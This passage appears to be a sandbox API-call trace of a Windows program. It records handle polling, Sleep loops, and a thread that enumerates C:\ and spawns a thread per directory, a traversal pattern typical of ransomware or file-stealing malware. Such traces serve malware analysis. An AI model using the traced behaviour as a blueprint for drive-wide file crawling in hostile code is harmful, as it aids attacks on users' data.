WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2e4) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2e8) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2ec) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2f0) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2f4) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2f8) returned 1 [0048.371] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x330, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x0 [0048.372] CloseHandle (hObject=0x334) returned 1 [0048.372] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x0 [0048.372] CloseHandle (hObject=0x33c) returned 1 [0048.372] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0048.372] CloseHandle (hObject=0x348) returned 1 [0048.372] WaitForSingleObject (hHandle=0x34c, dwMilliseconds=0x0) returned 0x102 [0048.372] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0x0) returned 0x102 [0048.373] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x354) returned 1 [0048.373] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x358) returned 1 [0048.373] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x35c) returned 1 [0048.373] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x360) returned 1 [0048.373] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x364) returned 1 [0048.373] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102 [0048.373] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0x0) returned 0x102 [0048.373] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x370) returned 1 [0048.373] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x102 [0048.373] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x378) returned 1 [0048.373] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x0 [0048.373] CloseHandle (hObject=0x37c) returned 1 [0048.373] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x102 [0048.374] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x384) returned 1 [0048.374] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x388) returned 1 [0048.374] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102 [0048.374] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x390) returned 1 [0048.374] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x394) returned 1 [0048.374] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x398) returned 1 [0048.374] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x102 [0048.374] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x3a0) returned 1 [0048.374] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x3a4) returned 1 [0048.374] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0048.374] CloseHandle (hObject=0x3a8) returned 1 [0048.374] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0x0) returned 0x102 [0048.374] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3b0) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3b4) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0x0) returned 0x102 [0048.375] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3bc) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3c0) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0x0) returned 0x102 [0048.375] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3c8) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0x0) returned 0x102 [0048.375] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0x0) returned 0x102 [0048.375] WaitForSingleObject (hHandle=0x3d4, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3d4) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0x0) returned 0x102 [0048.375] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3dc) returned 1 [0048.375] WaitForSingleObject (hHandle=0x3e0, dwMilliseconds=0x0) returned 0x0 [0048.375] CloseHandle (hObject=0x3e0) returned 1 [0048.376] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0048.376] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x3e8) returned 1 [0048.376] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x3ec) returned 1 [0048.376] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x0) returned 0x102 [0048.376] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0048.376] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x3f8) returned 1 [0048.376] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x3fc) returned 1 [0048.376] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0048.376] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x408) returned 1 [0048.376] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x40c) returned 1 [0048.376] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x410) returned 1 [0048.376] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x0 [0048.376] CloseHandle (hObject=0x414) returned 1 [0048.376] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x418) returned 1 [0048.377] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x424) returned 1 [0048.377] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x428) returned 1 [0048.377] WaitForSingleObject (hHandle=0x42c, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x42c) returned 1 [0048.377] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x44c, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x450, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x454, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x454) returned 1 [0048.377] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x45c, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x460, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x464, dwMilliseconds=0x0) returned 0x102 [0048.377] WaitForSingleObject (hHandle=0x468, dwMilliseconds=0x0) returned 0x0 [0048.377] CloseHandle (hObject=0x468) returned 1 [0048.378] WaitForSingleObject (hHandle=0x46c, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x470, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x474, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x478, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x47c, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x484, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x488, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x48c, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0048.378] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0048.379] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x0 [0048.379] CloseHandle (hObject=0x4ec) returned 1 [0048.379] WaitForSingleObject (hHandle=0x5f0, dwMilliseconds=0x0) returned 0x0 [0048.379] CloseHandle (hObject=0x5f0) returned 1 [0048.379] WaitForSingleObject (hHandle=0x5f4, dwMilliseconds=0x0) returned 0x0 [0048.379] CloseHandle (hObject=0x5f4) returned 1 [0048.379] WaitForSingleObject (hHandle=0x5f8, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x5f8) returned 1 [0048.380] WaitForSingleObject (hHandle=0x5fc, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x5fc) returned 1 [0048.380] WaitForSingleObject (hHandle=0x600, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x600) returned 1 [0048.380] WaitForSingleObject (hHandle=0x604, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x604) returned 1 [0048.380] WaitForSingleObject (hHandle=0x608, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x608) returned 1 [0048.380] WaitForSingleObject (hHandle=0x60c, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x60c) returned 1 [0048.380] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x610) returned 1 [0048.380] WaitForSingleObject (hHandle=0x614, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x614) returned 1 [0048.380] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x618) returned 1 [0048.380] WaitForSingleObject (hHandle=0x61c, dwMilliseconds=0x0) returned 0x0 [0048.380] CloseHandle (hObject=0x61c) returned 1 [0048.380] WaitForSingleObject (hHandle=0x620, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x620) returned 1 [0048.381] WaitForSingleObject (hHandle=0x624, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x624) returned 1 [0048.381] WaitForSingleObject (hHandle=0x628, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x628) returned 1 [0048.381] WaitForSingleObject (hHandle=0x62c, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x62c) returned 1 [0048.381] WaitForSingleObject (hHandle=0x630, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x630) returned 1 [0048.381] WaitForSingleObject (hHandle=0x634, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x634) returned 1 [0048.381] WaitForSingleObject (hHandle=0x638, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x638) returned 1 [0048.381] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x63c) returned 1 [0048.381] WaitForSingleObject (hHandle=0x640, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x640) returned 1 [0048.381] WaitForSingleObject (hHandle=0x644, dwMilliseconds=0x0) returned 0x0 [0048.381] CloseHandle (hObject=0x644) returned 1 [0048.381] WaitForSingleObject (hHandle=0x648, dwMilliseconds=0x0) returned 0x0 [0048.382] CloseHandle (hObject=0x648) returned 1 [0048.382] WaitForSingleObject (hHandle=0x64c, dwMilliseconds=0x0) returned 0x0 [0048.382] CloseHandle (hObject=0x64c) returned 1 [0048.382] WaitForSingleObject (hHandle=0x650, dwMilliseconds=0x0) returned 0x0 [0048.382] CloseHandle (hObject=0x650) returned 1 [0048.382] WaitForSingleObject (hHandle=0x654, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6e4, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x54c, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6e8, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6f0, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x560, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x56c, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6f4, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x570, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6f8, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0x0) returned 0x102 [0048.382] WaitForSingleObject (hHandle=0x700, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x704, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x708, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x70c, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x710, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x584, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x714, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x718, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0x0) returned 0x102 [0048.383] WaitForSingleObject (hHandle=0x69c, dwMilliseconds=0x0) returned 0x102 Thread: id = 5 os_tid = 0x95c [0032.172] Sleep (dwMilliseconds=0x1) [0032.188] Sleep (dwMilliseconds=0x1) [0032.357] Sleep (dwMilliseconds=0x1) [0033.228] Sleep (dwMilliseconds=0x1) [0033.284] Sleep (dwMilliseconds=0x1) [0033.348] Sleep (dwMilliseconds=0x1) [0033.398] Sleep (dwMilliseconds=0x1) [0033.500] Sleep (dwMilliseconds=0x1) [0034.414] Sleep (dwMilliseconds=0x1) [0034.464] Sleep (dwMilliseconds=0x1) [0034.512] Sleep (dwMilliseconds=0x1) [0034.555] Sleep (dwMilliseconds=0x1) [0034.606] Sleep (dwMilliseconds=0x1) [0034.892] Sleep (dwMilliseconds=0x1) [0035.072] Sleep (dwMilliseconds=0x1) [0035.089] Sleep (dwMilliseconds=0x1) [0035.172] Sleep (dwMilliseconds=0x1) [0035.350] Sleep (dwMilliseconds=0x1) [0035.393] Sleep (dwMilliseconds=0x1) [0035.488] Sleep (dwMilliseconds=0x1) [0035.542] Sleep (dwMilliseconds=0x1) [0035.571] Sleep (dwMilliseconds=0x1) [0035.664] Sleep (dwMilliseconds=0x1) [0035.720] Sleep (dwMilliseconds=0x1) [0035.781] Sleep (dwMilliseconds=0x1) [0035.832] Sleep (dwMilliseconds=0x1) [0036.041] Sleep (dwMilliseconds=0x1) [0036.306] Sleep (dwMilliseconds=0x1) [0036.399] Sleep (dwMilliseconds=0x1) [0036.452] Sleep (dwMilliseconds=0x1) [0036.490] Sleep (dwMilliseconds=0x1) [0036.520] Sleep (dwMilliseconds=0x1) [0036.548] Sleep (dwMilliseconds=0x1) [0036.608] Sleep (dwMilliseconds=0x1) [0036.640] Sleep (dwMilliseconds=0x1) [0036.687] Sleep (dwMilliseconds=0x1) [0036.714] Sleep (dwMilliseconds=0x1) [0037.167] Sleep (dwMilliseconds=0x1) [0037.222] Sleep (dwMilliseconds=0x1) [0037.272] Sleep (dwMilliseconds=0x1) [0037.306] Sleep (dwMilliseconds=0x1) [0037.399] Sleep (dwMilliseconds=0x1) [0038.014] Sleep (dwMilliseconds=0x1) [0038.145] Sleep (dwMilliseconds=0x1) [0038.160] Sleep (dwMilliseconds=0x1) [0038.177] Sleep (dwMilliseconds=0x1) [0038.214] Sleep (dwMilliseconds=0x1) [0039.154] Sleep (dwMilliseconds=0x1) [0039.196] Sleep (dwMilliseconds=0x1) [0039.237] Sleep (dwMilliseconds=0x1) [0039.255] Sleep (dwMilliseconds=0x1) [0039.300] Sleep (dwMilliseconds=0x1) [0040.162] Sleep (dwMilliseconds=0x1) [0040.231] Sleep (dwMilliseconds=0x1) [0040.299] Sleep (dwMilliseconds=0x1) [0040.379] Sleep (dwMilliseconds=0x1) [0040.419] Sleep (dwMilliseconds=0x1) [0041.209] Sleep (dwMilliseconds=0x1) [0041.257] Sleep (dwMilliseconds=0x1) [0041.339] Sleep (dwMilliseconds=0x1) [0041.366] Sleep (dwMilliseconds=0x1) [0041.413] Sleep (dwMilliseconds=0x1) [0042.266] Sleep (dwMilliseconds=0x1) [0042.428] Sleep (dwMilliseconds=0x1) [0042.738] Sleep (dwMilliseconds=0x1) [0042.757] Sleep (dwMilliseconds=0x1) [0042.792] Sleep (dwMilliseconds=0x1) [0043.091] Sleep (dwMilliseconds=0x1) [0043.589] Sleep (dwMilliseconds=0x1) [0043.615] Sleep (dwMilliseconds=0x1) [0043.641] Sleep (dwMilliseconds=0x1) [0043.760] Sleep (dwMilliseconds=0x1) [0044.244] Sleep (dwMilliseconds=0x1) [0044.615] Sleep (dwMilliseconds=0x1) [0044.624] Sleep (dwMilliseconds=0x1) [0044.641] Sleep (dwMilliseconds=0x1) [0044.674] Sleep (dwMilliseconds=0x1) [0044.726] Sleep (dwMilliseconds=0x1) [0045.507] Sleep (dwMilliseconds=0x1) [0045.519] Sleep (dwMilliseconds=0x1) [0045.549] Sleep (dwMilliseconds=0x1) [0045.635] Sleep (dwMilliseconds=0x1) [0045.934] Sleep (dwMilliseconds=0x1) [0046.737] Sleep (dwMilliseconds=0x1) [0047.106] Sleep (dwMilliseconds=0x1) [0048.524] Sleep (dwMilliseconds=0x1) [0048.770] Sleep (dwMilliseconds=0x1) [0049.125] Sleep (dwMilliseconds=0x1) [0049.686] Sleep (dwMilliseconds=0x1) [0051.185] Sleep (dwMilliseconds=0x1) [0051.451] Sleep (dwMilliseconds=0x1) [0051.694] Sleep (dwMilliseconds=0x1) [0051.854] Sleep (dwMilliseconds=0x1) [0052.194] Sleep (dwMilliseconds=0x1) [0055.490] Sleep (dwMilliseconds=0x1) [0055.976] Sleep (dwMilliseconds=0x1) [0057.772] Sleep (dwMilliseconds=0x1) [0059.379] Sleep (dwMilliseconds=0x1) [0061.740] Sleep (dwMilliseconds=0x1) [0062.420] Sleep (dwMilliseconds=0x1) [0064.531] Sleep (dwMilliseconds=0x1) [0065.542] Sleep (dwMilliseconds=0x1) [0065.762] Sleep (dwMilliseconds=0x1) [0065.889] Sleep (dwMilliseconds=0x1) [0066.157] Sleep (dwMilliseconds=0x1) [0066.617] Sleep (dwMilliseconds=0x1) [0066.773] Sleep (dwMilliseconds=0x1) Thread: id = 55 os_tid = 0xa58 Thread: id = 57 os_tid = 0xae4 [0045.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x415b70 [0045.522] wcscpy (in: _Dest=0x415b70, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.523] wcscat (in: _Dest=0x415b70, _Source="*" | out: _Dest="C:\\*") returned="C:\\*" [0045.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x444ad8 [0045.523] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x409a68 [0045.523] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1 [0045.523] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1 [0045.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x408830 [0045.523] wcscpy (in: _Dest=0x408830, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.523] wcscat (in: _Dest=0x408830, _Source="$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0045.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x408830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0045.524] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0045.524] wcscmp (_String1="Boot", _String2=".") returned 1 [0045.524] wcscmp (_String1="Boot", _String2="..") returned 1 [0045.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x415610 [0045.525] wcscpy (in: _Dest=0x415610, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.525] wcscat (in: _Dest=0x415610, _Source="Boot" | out: _Dest="C:\\Boot") returned="C:\\Boot" [0045.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415610) returned 1 [0045.525] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0045.525] wcscmp (_String1="bootmgr", _String2=".") returned 1 [0045.525] wcscmp (_String1="bootmgr", _String2="..") returned 1 [0045.525] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0045.525] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1 [0045.525] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1 [0045.525] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, 